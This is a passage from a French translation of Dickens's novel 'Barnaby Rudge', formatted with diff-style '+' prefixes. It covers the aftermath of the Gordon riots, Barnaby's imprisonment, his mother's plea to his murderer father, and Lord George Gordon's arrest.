+pas ça. Vous étiez... vous étiez déjà très jolie, mais vous voilà
+plus jolie que jamais. C'est vrai comme je vous le dis. Vous ne
+pouvez pas m'en vouloir de vous faire ce compliment; car enfin,
+vous le savez bien vous-même, et ce n'est pas d'aujourd'hui qu'on
+vous l'a dit, bien sûr.»
+
+La vérité est que Dolly le savait bien, et que ce n'était pas la
+première fois qu'elle se l'entendait dire; loin de là. Mais il y
+avait des années qu'elle avait reconnu que le carrossier n'était
+qu'un âne bâté; et, soit qu'elle eût peur de faire la même
+découverte chez les autres, ou que, à force d'entendre, elle se
+fût blasée en général sur les compliments, il est sûr et certain
+que, tout en pleurant bien fort, elle se sentait plus flattée de
+celui-là, dans ce moment, qu'elle ne l'avait jamais été de tout
+autre auparavant.
+
+«Je bénirai votre nom, dit en sanglotant la bonne petite fille du
+serrurier, tant que je vivrai. Je ne l'entendrai jamais sans me
+sentir briser le coeur. Je ne l'oublierai jamais dans mes prières,
+soir et matin, jusqu'à la fin de mes jours!
+
+-- Vraiment? fit Joe avec vivacité: est-ce bien vrai? cela me
+rend... vous ne sauriez croire comme cela me rend heureux et fier
+de vous entendre dire de ces choses-là.»
+
+Dolly sanglotait toujours en tenant son mouchoir devant ses yeux;
+et Joe restait toujours là debout, à la regarder.
+
+«Votre voix, dit-il, me reporte avec tant de plaisir à mon bon
+vieux temps, que, pour le moment, il me semble comme si cette
+soirée... je peux bien en parler, n'est-ce pas, maintenant, de
+cette soirée-là... comme si cette soirée était encore là, et qu'il
+ne fût rien arrivé dans l'intervalle. J'ai oublié toutes les
+peines que j'ai endurées depuis, et il me semble que c'est hier
+que j'ai rossé ce pauvre Tom Cobb, et que je suis venu vous voir,
+mon paquet sur l'épaule, avant de décamper... Vous rappelez-vous?»
+
+Si elle se rappelait! mais elle ne dit mot; elle leva seulement
+les yeux un petit instant. Ce ne fut qu'un coup d'oeil, un petit
+coup d'oeil timide et larmoyant, mais qui fit garder à Joe le
+silence... bien longtemps.
+
+«Bah! finit-il par dire résolument, il fallait que ça arrivât
+comme c'est arrivé. Je suis donc allé bien loin me battre tout
+l'été, et me geler tout l'hiver, depuis ce temps-là. Me voilà
+revenu, la bourse aussi vide qu'en partant, et estropié par-dessus
+le marché. Mais voyez-vous, Dolly, c'est égal; j'aimerais mieux
+encore avoir perdu l'autre bras... j'aimerais mieux avoir perdu ma
+tête... que d'être revenu pour vous voir morte, et non pas telle
+que je me figurais toujours vous voir, telle que je n'ai pas cessé
+d'espérer et de souhaiter vous retrouver. Ainsi, au bout du
+compte, Dieu soit loué!»
+
+Ah! comme la petite coquette d'il y a cinq ans était devenue
+sensible depuis ce temps-là! Elle avait fini par se trouver un
+coeur. C'est parce qu'elle n'en connaissait pas tout le prix,
+qu'elle avait tant méconnu le prix du coeur de Joe, mais à présent
+elle ne l'aurait pas donné pour tout l'or du monde.
+
+«N'ai-je pas eu autrefois, dit Joe avec son ton de franchise un
+peu brusque, l'idée que je pourrais revenir riche et me marier
+avec vous? Mais dans ce temps-là j'étais un enfant, et il y a
+longtemps que je ne suis plus si bête. Je sais bien que je ne suis
+qu'un pauvre soldat licencié et mutilé, trop heureux maintenant de
+traîner son existence comme il pourra. Pourtant, là! vrai! même à
+présent, je ne peux pas dire que ça me fera plaisir de vous voir
+mariée, Dolly; mais c'est égal, je suis content... Oui, je le
+suis, et je suis bien aise de l'être... en songeant que vous êtes
+admirée et courtisée, et que vous pouvez, quand vous voudrez,
+choisir à votre goût un homme pour vous rendre heureuse. C'est une
+consolation pour moi de savoir que vous parlerez quelquefois de
+moi à votre mari; et je ne désespère pas d'en arriver un jour à
+l'aimer, à lui donner une bonne poignée de main, à venir vous voir
+quelquefois, comme un pauvre ami qui vous a connue petite fille.
+Que Dieu vous bénisse!»
+
+Sa main tremblait; mais, avec tout ça, il sut bien la contenir, et
+quitta Dolly.
+
+
+
+
+CHAPITRE XXXI.
+
+
+La nuit de ce vendredi-là, car c'était le vendredi de la semaine
+des émeutes qu'Emma et Dolly furent délivrées, grâce à l'aide
+empressée de Joe et d'Édouard Chester, les troubles furent
+entièrement apaisés; l'ordre et la tranquillité furent rétablis
+dans la ville épouvantée. Mais comme, en vérité, après ce qui
+s'était passé, personne ne pouvait dire si ce calme nouveau
+durerait longtemps ou si on n'était pas destiné à voir éclater
+tout à coup de nouveaux orages qui viendraient remplir les rues de
+Londres de sang et de ruines, ceux qui s'étaient dérobés par la
+fuite au tumulte récent se tenaient encore à distance, et bien des
+familles, qui n'avaient pu jusque-là se procurer les moyens de
+fuir, profitaient de ce moment de répit pour se retirer à la
+campagne. De Tyburn à Whitechapel, les boutiques étaient encore
+fermées, et il ne se faisait guère d'affaires dans aucun des
+centres habituels du mouvement commercial. Cependant, malgré les
+prédictions sinistres des alarmistes, cette nombreuse classe de la
+société qui voit toujours si clair dans les évènements les plus
+obscurs, la ville restait dans une tranquillité profonde, la force
+armée, composée de troupes considérables, distribuée sur tous les
+points les plus dangereux, et postée dans tous les endroits
+principaux, tenait en échec les restes dispersés de l'émeute. On
+poursuivait avec une vigueur infatigable la recherche des
+perturbateurs, et s'il s'en trouvait encore parmi eux d'assez
+incorrigibles et d'assez téméraires pour avoir la fantaisie, après
+les terribles scènes des derniers jours, de se risquer dans les
+rues, ils étaient tellement abattus par ces mesures fermes et
+résolues, qu'ils se dépêchaient de retourner s'ensevelir dans
+leurs cachettes, ne songeant plus qu'à leur propre salut.
+
+En un mot, l'émeute était en déroute. On avait tué à coups de
+fusil plus de deux cents insurgés dans les rues. Il y en avait en
+outre deux cent cinquante dans les hôpitaux avec des blessures
+graves: là-dessus, peu de jours après, on comptait soixante-dix ou
+quatre-vingts morts de plus. Il y en avait une centaine d'arrêtés,
+sans compter ceux qu'on arrêtait d'heure en heure. Quant à ceux
+qui avaient péri victimes de l'incendie ou de leurs propres excès,
+le nombre en était inconnu.
+
+Cependant il est certain qu'il y avait beaucoup de ces misérables
+qui avaient trouvé une horrible sépulture dans la cendre brûlante
+des feux qu'ils avaient allumés, ou qui s'étant glissés dans des
+caves et des celliers, soit pour y boire en secret, soit pour y
+panser leurs blessures, ne revirent jamais le jour. Bien des
+semaines après que le foyer de l'incendie ne contenait plus qu'une
+cendre noire et froide, la bêche du fossoyeur, mise en
+réquisition, ne laissa point de doute à cet égard.
+
+Pendant les quatre grands jours de l'insurrection, soixante-dix
+maisons particulières et quatre prisons considérables avaient été
+détruites. La perte totale des objets mobiliers, d'après
+l'estimation de ceux qui l'avaient subie, était de cent cinquante
+mille livres sterling. À l'estimer au plus bas, d'après
+l'évaluation plus impartiale de personnes désintéressées, elle
+montait toujours bien à plus de cent vingt-cinq mille livres.
+Cette perte immense fut bientôt après couverte par une indemnité
+sur la fortune publique, en exécution d'un vote de la chambre des
+Communes, la somme ayant été prélevée sur les différents quartiers
+de Londres, et sur le comté et le bourg de Southwark. Toutefois,
+lord Mansfield et lord Saville ne voulurent ni l'un ni l'autre
+recevoir d'indemnité d'aucun genre.
+
+La chambre des Communes dans sa séance du mardi, avec ses portes
+fermées et bien gardées, avait émis une résolution à l'effet de
+procéder, immédiatement après la fin des émeutes, à l'examen des
+pétitions présentées par un grand nombre des sujets protestants de
+Sa Majesté, et à leur prise en sérieuse considération. Pendant
+qu'on débattait cette question, M. Herbert, l'un des membres
+présents, se leva indigné et pria la chambre de remarquer que lord
+Georges Gordon était là sur son banc, au-dessous de la galerie,
+avec la cocarde bleue, signe de ralliement de la rébellion,
+attachée à son chapeau. Non seulement ceux qui siégeaient auprès
+de lui l'obligèrent de l'ôter; mais, quand il s'offrit à aller
+dans les rues pacifier l'émeute, rien qu'avec la vague assurance
+que la chambre était disposée à leur donner «la satisfaction
+qu'ils voulaient,» plusieurs membres se réunirent pour le retenir
+de force sur son banc. Bref, le désordre et la violence qui
+régnaient en vainqueurs au dehors, pénétrèrent aussi dans le
+sénat, et là, comme ailleurs, l'alarme et la terreur étaient à
+l'ordre du jour, et les formes régulières furent un moment
+oubliées.
+
+Le mardi, les deux chambres s'étaient ajournées au lundi suivant,
+déclarant impossible de continuer le cours de leurs délibérations
+avec la gravité et la liberté nécessaires, tant qu'elles seraient
+entourées par la troupe armée. Mais, à présent que les révoltés
+étaient dispersés, les citoyens furent assaillis par une autre
+crainte. En effet, en voyant les places publiques et leurs lieux
+ordinaires de réunion remplis de soldats autorisés à faire usage à
+discrétion de leurs fusils et de leurs sabres, ils commencèrent à
+prêter une oreille avide au bruit qui circulait de la proclamation
+d'une loi martiale et à des contes effrayants de prisonniers qu'on
+aurait vus pendus aux lanternes de Cheapside et de Fleet-Street.
+Ces terreurs ayant été promptement dissipées par une proclamation
+déclarant que tous les perturbateurs seraient jugés par une
+commission spéciale, constituée conformément à la loi, on eut une
+autre alerte. Il se disait tout bas, d'un bout de la ville à
+l'autre, qu'on avait trouvé de l'argent français sur quelques
+insurgés, et que ces troubles avaient été soudoyés par les
+puissances étrangères, pour arriver au renversement et à la ruine
+de l'Angleterre. Cette sourde rumeur, entretenue par des placards
+anonymes semés avec profusion, quoique dénués probablement de tout
+fondement, tenait sans doute à la découverte de quelques pièces de
+monnaie qui n'étaient point de fabrication anglaise, trouvées,
+avec d'autres objets volés, en fouillant les poches des rebelles,
+ou sur les prisonniers arrêtés et les cadavres des victimes. Cela
+n'empêcha pas que ce bruit, une fois répandu, produisit une grande
+sensation, et, au milieu de cette excitation générale qui dispose
+les gens à saisir avidement toute nouvelle alarmante, il fut
+colporté avec une merveilleuse activité.
+
+Cependant, comme la tranquillité ne se démentit pas pendant toute
+la journée de vendredi, puis pendant toute la nuit, et qu'on ne
+fit plus de nouvelles découvertes, la confiance commença à
+renaître, et les plus timides, les plus découragés, recommencèrent
+à respirer. Rien que dans Southwark, il n'y eut pas moins de trois
+mille habitants qui se formèrent en garde privée, pour faire dans
+les rues des patrouilles d'heure en heure. Les citoyens de Londres
+ne restèrent pas en arrière pour imiter ce bel exemple, et, selon
+l'habitude des gens paisibles, qui deviennent d'une audace
+incroyable quand le danger est passé, il était impossible de rien
+voir de plus intraitable et de plus hardi. Ils n'hésitaient pas à
+faire subir au passant le plus robuste un interrogatoire sévère,
+et menaient haut la main les petits commissionnaires, les bonnes
+et les apprentis qu'ils trouvaient sur leur chemin.
+
+Quand le jour s'obscurcit pour faire place au soir, à l'heure où
+les ténèbres commencèrent par se glisser dans les coins et recoins
+de la ville comme pour s'essayer en secret et prendre leur clan
+avant de s'aventurer en pleine rue, Barnabé était assis dans son
+cachot, s'étonnant du silence, et attendant en vain le bruit et
+les clameurs qui avaient troublé les nuits précédentes. À côté de
+lui était assis, la main dans la sienne, une compagne dont la
+présence mettait son âme en paix. Elle était pâle, bien changée,
+accablée de chagrin, et elle avait le coeur bien gros; mais elle
+était pour lui toujours la même.
+
+«Ma mère, dit-il après un long silence, combien de temps encore...
+combien de jours et de nuits... vont-ils me retenir ici?
+
+-- Pas beaucoup, mon enfant; pas beaucoup, j'espère.
+
+-- Vous espérez! c'est bon, mais ce n'est pas avec des espérances
+que vous ferez tomber mes chaînes. Moi aussi j'espère, mais cela
+leur est bien égal. Grip espère; mais qui est-ce qui se soucie de
+Grip?»
+
+Le corbeau poussa un petit cri triste et mélancolique.
+
+«Personne, dit-il, aussi clairement que peut parler un corbeau.
+
+-- Qui est-ce qui se soucie de Grip, excepté vous et moi? dit
+Barnabé, passant la main sur les plumes ébouriffées de l'oiseau.
+Il ne parle jamais ici; il ne dit pas un mot en prison. Il est là
+à se morfondre toute la journée dans son petit coin noir, tantôt
+faisant un somme, tantôt regardant le jour qui se glisse à travers
+les barreaux et qui brille dans son oeil, perçant comme une
+étincelle de ces grands feux qui viendrait à tomber dans la
+chambre, et qui brûlerait encore. Mais qui est-ce qui se soucie de
+Grip?
+
+Le corbeau croassa encore: «Personne.
+
+-- Et à propos, dit Barnabé, retirant sa main de l'oiseau pour la
+mettre sur le bras de sa mère, en la regardant fixement en face,
+s'ils me tuent, car c'est bien possible, j'ai entendu dire qu'ils
+me tueraient; que deviendra Grip, quand ils m'auront fait mourir?»
+
+Le son du mot ou le courant de ses propres pensées suggéra à
+l'oiseau sa vieille sentence: «N'aie pas peur de mourir.»
+Seulement il s'arrêta au beau milieu, tira un bouchon
+mélancolique, et finit par un croassement languissant, comme s'il
+ne se sentait pas le courage d'aller jusqu'au bout de sa phrase,
+quoiqu'elle ne fût pas bien longue.
+
+«Est-ce qu'ils lui ôteront la vie comme à moi? dit Barnabé. Je le
+voudrais bien; si lui et moi et vous nous mourions tous ensemble,
+il ne resterait personne pour en avoir du chagrin et de la peine,
+Mais ils feront ce qu'ils voudront, je ne les crains pas, mère.
+
+-- Ils ne vous feront pas de mal, dit-elle, d'une voix presque
+étouffée par ses larmes. Ils ne voudront pas vous faire de mal,
+quand ils sauront tout. Je suis sûre qu'ils ne vous en feront pas.
+
+-- Oh! n'en soyez pas trop sûre, cria Barnabé, qui montrait un
+étrange plaisir à croire qu'elle se trompait, mais que lui, il
+avait trop de sagacité pour tomber dans la même erreur. Ils m'ont
+désigné, mère, dès le commencement. Je le leur ai entendu dire
+entre eux quand ils m'ont amené ici la nuit dernière, et je les
+crois. Ne pleurez pas pour ça, mère. Ils disaient que j'étais
+hardi, et je leur ferai voir jusqu'au bout qu'ils ne se trompent
+pas. On peut me croire imbécile, mais cela ne m'empêchera pas de
+mourir aussi bien qu'un autre... Je n'ai pas fait de mal, n'est-ce
+pas? ajouta-t-il vivement.
+
+-- Pas devant Dieu, répondit-elle.
+
+-- Eh bien! alors, dit Barnabé, qu'ils me fassent tout ce qu'ils
+voudront. Vous m'avez dit un jour, vous-même, un jour que je vous
+demandais ce que c'était que la mort, que c'était quelque chose
+qui n'était pas à craindre, quand on n'avait pas fait de mal. Ha!
+ha! mère, je suis sûre que vous pensiez que j'avais oublié cela.»
+
+Elle était navrée de voir ce joyeux éclat de rire et le ton enjoué
+avec lequel il lui disait ces mots. Elle le serra contre son coeur
+et le supplia de lui parler tout bas et de se tenir tranquille,
+parce qu'il commençait à faire nuit, qu'ils n'avaient plus que peu
+de temps à rester ensemble, et qu'elle allait être obligée de le
+quitter.
+
+«Vous reviendrez demain? dit Barnabé.
+
+-- Oui, et tous les jours, et nous ne nous séparerons plus.»
+
+Il répliqua avec joie que c'était bien, que c'était tout ce qu'il
+désirait, et qu'il était sûr d'avance de sa réponse. Puis il lui
+demanda où elle était restée depuis si longtemps, et pourquoi elle
+n'était pas venue le voir, pendant qu'il était un grand soldat; et
+alors il se mit à lui détailler tous les plans qu'il avait formés
+pour qu'ils pussent devenir riches et vivre dans l'opulence.
+Cependant il eut quelque soupçon qu'elle avait du chagrin et que
+c'était lui qui en était en cause; il essaya de la consoler et de
+la distraire en lui parlant de la vie qu'ils menaient autrefois
+ensemble, de ses amusements et de la liberté dont il jouissait
+alors. Il ne se doutait pas que chacune de ses paroles redoublait
+la douleur de sa mère, et qu'elle répandait des larmes de plus en
+plus amères à chaque souvenir qu'il ravivait de leur tranquillité
+perdue.
+
+«Mère, dit Barnabé, quand ils entendirent approcher l'homme qui
+venait fermer les cellules pour la nuit, tout à l'heure, quand je
+vous ai parlé de mon père, vous m'avez crié: «Chut!» et vous avez
+détourné la tête; pourquoi donc? dites-moi pourquoi en deux mots.
+Vous l'aviez cru mort. Vous n'êtes pas fâchée qu'il vive et qu'il
+soit revenu nous voir? où est-il? serait-il ici?
+
+-- Ne demandez à personne où il est; ne parlez de lui à qui que ce
+soit, répondit-elle.
+
+-- Pourquoi pas? Est-ce parce que c'est un homme sévère et qui a
+la parole rude? Car enfin, je ne l'aime pas, et je ne tiens pas à
+me trouver seul avec lui; mais pourquoi ne pas parler de lui?
+
+-- Parce que je suis fâchée qu'il vive encore, fâchée qu'il soit
+revenu nous voir, fâchée que vous et lui vous vous soyez trouvés
+ensemble. Parce que, cher Barnabé, j'ai fait ce que j'ai pu, toute
+ma vie, pour vous tenir séparés.
+
+-- Séparés! un fils et un père! Pourquoi?
+
+-- Il a, lui murmura-t-elle à l'oreille, il a versé le sang; le
+temps est venu de vous faire cette révélation; il a versé le sang
+d'un homme qui l'aimait bien, qui avait placé en lui sa confiance,
+qui ne lui avait jamais rien dit ni rien fait de mal.»
+
+Barnabé recula d'horreur, et, jetant un coup d'oeil rapide sur la
+tache de son poignet, la cacha en frissonnant sous sa veste.
+
+«Mais, ajouta-t-elle avec précipitation, en entendant la clef
+tourner dans la serrure, quoique nous devions le fuir, ce n'en est
+pas moins votre père, mon cher enfant, et moi, je n'en suis pas
+moins sa malheureuse femme. On en veut à sa vie, et il la perdra.
+Il ne faut pas que nous y soyons pour quelque chose. Bien au
+contraire, si nous pouvions l'amener à se repentir, notre devoir
+serait de l'aimer encore. N'ayez pas l'air de le connaître, si ce
+n'est comme un homme qui s'est sauvé de la prison, et, si on vous
+fait des questions sur son compte, ne répondez pas. Que Dieu
+veille sur vous toute cette nuit, cher enfant! que Dieu soit avec
+vous!»
+
+Elle s'arracha de ses bras et, quelques secondes après, Barnabé
+fut tout seul. Il resta longtemps comme enraciné là, la figure
+cachée dans ses mains, puis il se jeta en sanglotant sur son
+triste lit.
+
+Mais la lune vint tout doucement dans sa gloire modeste, et les
+étoiles se montrèrent à travers le petit espace de la fenêtre
+grillée, comme, à travers l'étroite brèche d'une bonne action,
+dans une sombre vie de crime, la face du ciel rayonne pleine
+d'éclat et de miséricorde. Il leva la tête, regarda en l'air ce
+ciel tranquille qui avait l'air de sourire à la terre affligée,
+comme si la nuit, plus compatissante que le jour, abaissait des
+regards de pitié sur les souffrances et les fautes des hommes, et
+qu'elle voulût insinuer sa paix au fond du coeur de Barnabé. Un
+pauvre idiot comme lui, emprisonné dans son étroite cellule, se
+sentait élevé aussi près de Dieu, en contemplant cette clarté si
+douce, que l'homme le plus libre et le plus heureux de toute cette
+vaste cité; et dans sa prière, qu'il ne se rappelait pas bien,
+dans le bout d'hymne, souvenir de son enfance, qu'il se
+chantonnait pour se bercer avant de s'endormir, il y avait un
+souffle aussi pur pour monter vers le ciel que dans toutes les
+homélies du monde, et dans l'écho des voûtes des plus vieilles
+cathédrales.
+
+Sa mère, en traversant une cour pour sortir, vit, à travers une
+porte grillée qui donnait sur une autre cour, son mari, marchant
+autour de l'enceinte, les mains croisées sur sa poitrine et la
+tête penchée. Elle demanda à l'homme qui la conduisait si elle ne
+pourrait pas dire un mot au prisonnier. Il y consentit, mais en
+lui recommandant de se dépêcher, parce qu'il allait fermer pour la
+nuit, et il n'avait plus qu'une ou deux minutes à lui. En même
+temps, il ouvrit la porte et lui dit d'entrer.
+
+La porte, en tournant, grinça bien fort sur ses gonds; mais lui,
+il était sourd au bruit, et continuait sa promenade circulaire
+dans la petite cour, sans lever la tête ni changer d'attitude le
+moins du monde. Elle lui parla; mais sa voix était si faible
+qu'elle ne pouvait se faire entendre. Enfin, elle alla au-devant
+de ses pas, et, quand il vint, elle étendit la main et le toucha.
+
+Il tressaillit et recula d'un pas, tremblant des pieds à la tête;
+mais en voyant qui c'était, il lui demanda ce qu'elle venait faire
+là. Sans attendre sa réponse:
+
+«Voyons! dit-il, venez-vous me rendre la vie ou me l'ôter?
+m'assassiner aussi, ou me sauver?
+
+-- Mon fils... notre fils, répondit-elle, est dans cette prison.
+
+-- Qu'est-ce que ça me fait? cria-t-il en frappant du pied avec
+impatience le pavé de la cour. Je sais bien cela. Il ne peut pas
+plus m'aider que je ne puis l'aider. Si vous êtes venue pour me
+parler de lui, vous pouvez vous en aller.»
+
+En même temps il reprit sa promenade, et se mit à faire son tour
+dans la cour comme auparavant, d'un pas précipité. Quand il la
+retrouva où il l'avait laissée, il s'arrêta pour lui dire:
+
+«Venez-vous me rendre la vie ou me l'ôter? Vous repentez-vous?
+
+-- Oh! c'est à vous qu'il faut demander ça, répondit-elle. Voulez-
+vous vous repentir, pendant qu'il en est temps encore? Quant à
+vous sauver, croyez bien que je n'en aurais pas le pouvoir, quand
+j'en aurais le courage.
+
+-- Dites que c'est la volonté qui vous manque, répondit-il avec un
+juron, en cherchant à se dégager d'elle et à passer outre. Dites
+que vous ne le voulez pas.
+
+-- Écoutez-moi un instant seulement, répliqua-t-elle, rien qu'un
+instant. Je ne fais que de relever d'une maladie dont je croyais
+que je ne relèverais jamais. Les meilleurs d'entre nous, dans des
+moments pareils, pensent aux bonnes intentions qu'ils n'ont pas
+réalisées, aux devoirs qu'ils ont laissés inachevés. Si j'ai
+jamais, depuis cette fatale nuit, manqué à prier Dieu pour vous
+envoyer le repentir avant votre mort... si j'ai manqué de vous en
+suggérer la pensée, même au moment où l'horreur de votre crime
+était encore toute fraîche, si, la dernière fois que je vous ai
+vu, tout entière à la crainte qui venait de m'accabler, j'ai
+oublié de tomber à deux genoux pour vous adjurer de la façon la
+plus solennelle, au nom de celui que vous avez envoyé au ciel pour
+y porter témoignage contre vous, de vous préparer à la punition
+qui ne pouvait manquer de vous atteindre, et qui s'approche
+insensiblement en ce moment même... je m'humilie devant vous, et,
+dans l'agonie de mon rôle de suppliante, je vous conjure de me
+laisser expier ma faute.
+
+-- Qu'est-ce que tout ce jargon veut dire? répondit-il rudement.
+Parlez donc de manière que je puisse vous comprendre.
+
+-- Je vais le faire, répliqua-t-elle; c'est tout ce que je désire.
+Accordez-moi encore un moment de patience. La main de celui qui a
+maudit l'assassin s'est appesantie sur nous, vous n'en pouvez
+douter. Notre fils, notre innocent enfant, sur lequel est tombée
+sa colère, avant même qu'il vînt au monde, est ici en danger de
+perdre la vie... il y est, conduit par votre faute, oui, Dieu le
+sait, par votre unique faute: car, si la faiblesse de son
+intelligence l'a entraîné dans ses égarements, n'est-ce pas la
+terrible conséquence de votre crime?
+
+-- Si vous venez pour m'ennuyer de vos reproches et de vos
+criailleries de femme... marmotta-t-il entre ses dents, en
+essayant encore de passer.
+
+-- Non. Je viens pour autre chose, qu'il faut que vous entendiez.
+Si ce n'est pas ce soir, c'est demain. Si ce n'est pas demain, ce
+sera un autre jour; mais il faut que vous l'entendiez. Mon mari,
+il n'y a point d'espoir pour vous de vous sauver de là... c'est
+impossible.
+
+-- Et c'est vous qui venez me dire ça?» En même temps il leva sa
+main chargée de fers et l'en menaça. «Ah! c'est vous?
+
+-- Oui, dit-elle, avec une vivacité inexprimable, c'est moi. Mais
+pourquoi?
+
+-- Sans doute pour me tranquilliser dans cette prison. Pour me
+faire passer agréablement le temps d'ici jusqu'à ma mort. Pour mon
+bien... oui, pour mon bien sans aucun doute, dit-il en grinçant
+des dents et en lui adressant un sourire avec sa face livide.
+
+-- Non, ce n'est pas pour vous accabler de reproches, répliqua-t-
+elle; non, ce n'est pas pour aggraver les misères et les tortures
+de votre situation; non, ce n'est pas pour vous dire une seule
+parole amère: c'est au contraire pour vous rendre l'espérance et
+la paix. Mon mari, mon cher mari, avouez seulement ce crime
+abominable; implorez seulement le pardon du ciel et de ceux que
+vous avez offensés sur la terre. Écartez seulement ces vaines
+pensées qui vous troublent, et qui ne se réaliseront jamais, pour
+ne compter que sur votre repentir et votre sincérité, et je vous
+promets, au nom suprême du créateur, dont vous avez détruit
+l'image, qu'il vous donnera aide et consolation. Et moi, cria-t-
+elle en joignant les mains et en levant les yeux au ciel, je jure
+devant lui, devant lui qui connaît mon coeur et qui peut y lire la
+vérité de mes paroles, je vous promets, à partir de ce moment-là,
+de vous aimer tendrement comme autrefois, de veiller sur vous nuit
+et jour durant le court intervalle qui nous reste, de vous
+prodiguer les témoignages de ma plus fidèle affection comme je le
+dois, de joindre mes prières aux vôtres pour que Dieu suspende le
+jugement qui menace votre tête, pour qu'il épargne notre fils et
+lui permette de bénir ici son saint nom, de son mieux, le pauvre
+enfant, à l'air libre et à la clarté du jour.»
+
+Il recula et fixa ses yeux sur elle, pendant qu'elle lui adressait
+ces prières ardentes, comme s'il était un moment frappé de respect
+pour elle, et qu'il ne sût que faire. Mais la crainte et la colère
+prirent bientôt le dessus, et il la repoussa avec mépris.
+
+«Allez-vous-en! cria-t-il. Laissez-moi. Vous complotez contre moi,
+n'est-ce pas? Vous voulez me faire parler, pour aller dire que je
+suis bien ce qu'on soupçonne. Malédiction sur vous et votre
+enfant!
+
+-- Hélas! elle est déjà tombée sur lui, la malédiction, répliqua-
+t-elle en se tordant les mains.
+
+-- Qu'elle y tombe plus lourdement encore! Qu'elle tombe sur lui
+et sur vous tous! Je vous déteste tous les deux. Je n'ai plus rien
+à perdre. La seule consolation qui puisse me rester et que je me
+souhaite, c'est de savoir avant de mourir que la malédiction vous
+atteint. À présent, partez.»
+
+Elle allait encore lui faire de douces instances, même après cet
+éclat de fureur; mais il menaça de la frapper de sa chaîne.
+
+«Je vous le répète, partez... je vous le répète pour la dernière
+fois. Le gibet me tient dans ses griffes, et c'est un noir fantôme
+qui peut me porter encore à d'autres excès. Allez-vous-en! Je
+maudis l'heure où je suis né, l'homme que j'ai tué, et toutes les
+créatures vivantes de ce monde.»
+
+Dans un paroxysme de rage, de terreur, de crainte de la mort, il
+la repoussa, pour se précipiter dans les ténèbres de sa cellule,
+où il se jeta pantelant sur le carreau, qu'il grattait de ses
+mains enchaînées. Le geôlier revint fermer la porte du cachot, et
+emmena ensuite la malheureuse femme.
+
+Dans cette nuit de juin, chaude et embaumée, il y avait par toute
+la ville des visages heureux et des coeurs gais et légers, qui
+savouraient doublement la douceur d'un sommeil depuis plusieurs
+jours inconnu, au milieu des horreurs qui venaient d'avoir lieu.
+Cette nuit-là, chacun chez soi se réjouissait en famille; on se
+félicitait les uns les autres d'avoir échappé au danger commun;
+ceux qui avaient été désignés pour victimes par l'émeute,
+s'aventuraient à sortir dans les rues; ceux qui avaient été
+pillés, allaient gagner quelque bon refuge; même le pusillanime
+lord-maire, qui avait été cité ce soir-là devant le Conseil privé
+pour donner des explications sur sa conduite, revint content,
+déclarant à tous ses amis qu'il avait été bien heureux d'en être
+quitte pour une réprimande, et leur répétant avec la plus grande
+satisfaction sa mémorable défense devant le Conseil, «qu'il avait
+montré dans les troubles une telle témérité de courage, qu'il
+avait bien cru la payer de sa vie.»
+
+Cette nuit-là aussi, quelques agents dispersés de l'émeute furent
+poursuivis jusque dans leurs cachettes, et arrêtés. Dans les
+hôpitaux, ou sous les amas de ruines qu'ils avaient faites, dans
+les fossés, dans les champs, on trouva de ces misérables enterrés
+sans linceul; plus heureux que ceux qui, pour avoir pris une part
+active au désordre, dans des prisons provisoires, reposaient en ce
+moment sur la paille leur tête promise au bourreau.
+
+À la Tour aussi, dans une chambre lugubre dont les murs épais
+interdisaient l'accès au moindre bourdonnement de la vie et
+entretenaient un silence dont les inscriptions laissées par
+d'anciens prisonniers sur ces témoins muets ne faisaient que
+redoubler l'horreur, gisait sur sa couche un homme tourmenté de
+remords pour chaque cruauté commise par chaque révolté,
+reconnaissant à présent que leur crime était son crime, et que
+c'était lui qui avait mis leurs vies en péril; ne trouvant, au
+milieu de ces réflexions, qu'une triste consolation dans son
+fanatisme, ou dans sa vocation imaginaire; c'était le malheureux
+autour de tout le mal... lord Georges Gordon.
+
+On l'avait arrêté le soir même. «Si vous êtes sûr que c'est moi
+que vous voulez, dit-il à l'officier qui l'attendait à la porte de
+chez lui avec un mandat d'amener sous la prévention de haute
+trahison, je suis prêt à vous accompagner...»
+
+Et en effet, il le suivit sans résistance. On commença par le
+conduire devant le Conseil privé, puis à la caserne des Horse-
+Guards, puis on l'emmena par le pont de Westminster, pour éviter
+l'embarras des rues, jusqu'à la Tour, sous l'escorte la plus forte
+qu'on eût encore vue chargée d'y conduire un prisonnier seul.
+
+De tous ses quarante mille hommes, il ne lui en restait pas un
+pour lui tenir compagnie. Tant amis que protégés, clients et
+serviteurs... il n'avait personne. Son tartuffe de secrétaire
+l'avait trahi et l'homme qui s'était laissé, dans sa faiblesse,
+pousser et compromettre par tant d'intrigants uniquement occupés
+de leurs intérêts personnels, se trouvait à présent seul et
+abandonné.
+
+
+
+
+CHAPITRE XXXII.
+
+
+M. Dennis, ayant été fait prisonnier à une heure avancée le même
+soir, fut emmené pour la nuit seulement au violon voisin, et le
+lendemain, samedi, on le fit comparaître devant un juge de paix.
+Comme les charges qui s'élevaient contre lui étaient nombreuses et
+importantes, qu'en particulier, il fut prouvé par le témoignage de
+Gabriel Varden qu'il avait manifesté bonne envie de lui ôter la
+vie, il fut renvoyé devant les assises. De plus, il eut l'honneur
+distingué de se voir considérer comme un chef de révoltés, et de
+recevoir de la bouche même du magistrat la flatteuse assurance
+qu'il était dans une position d'un danger imminent, et qu'il
+ferait bien de s'attendre à tout.
+
+Dire que la modestie de M. Dennis ne fut pas un peu émue par ces
+honneurs insignes, ou qu'il fût bien préparé à une réception si
+obligeante, ce serait lui prêter un plus grand fonds de
+philosophie stoïque qu'il n'en posséda jamais. À dire vrai, le
+stoïcisme de ce gentleman était de ceux (combien en voit-on comme
+cela!) qui mettent un homme en état de supporter avec un courage
+exemplaire les afflictions de ses amis, mais qui, par une espèce
+de compensation, le rendent, en ce qui le concerne, très sensible
+à ses maux, et d'un égoïsme très susceptible. On peut donc, sans
+calomnier ce fonctionnaire intéressant, déclarer sans réserve et
+sans déguisement qu'il commença par se montrer très alarmé tout
+d'abord, et qu'il manifesta des émotions qui ne faisaient pas
+honneur à son héroïsme, jusqu'à ce qu'il eut appelé à son aide ses
+facultés ratiocinatives, qui lui firent entrevoir une perspective
+moins désespérée.
+
+À mesure que M. Dennis exerçait les qualités intellectuelles dont
+la nature l'avait doué à passer en revue ses chances les plus
+favorables de se tirer d'affaire bellement et sans grand
+désagrément personnel, il sentait renaître ses esprits et
+augmenter sa confiance. Quand il se rappelait la haute estime dans
+laquelle était tenu son ministère, et le besoin constant qu'on
+avait de ses services; quand il se considérait lui-même, dont le
+Code pénal avait fait une espèce de remède universel, applicable
+aussi bien aux femmes qu'aux hommes, aux vieillards qu'aux
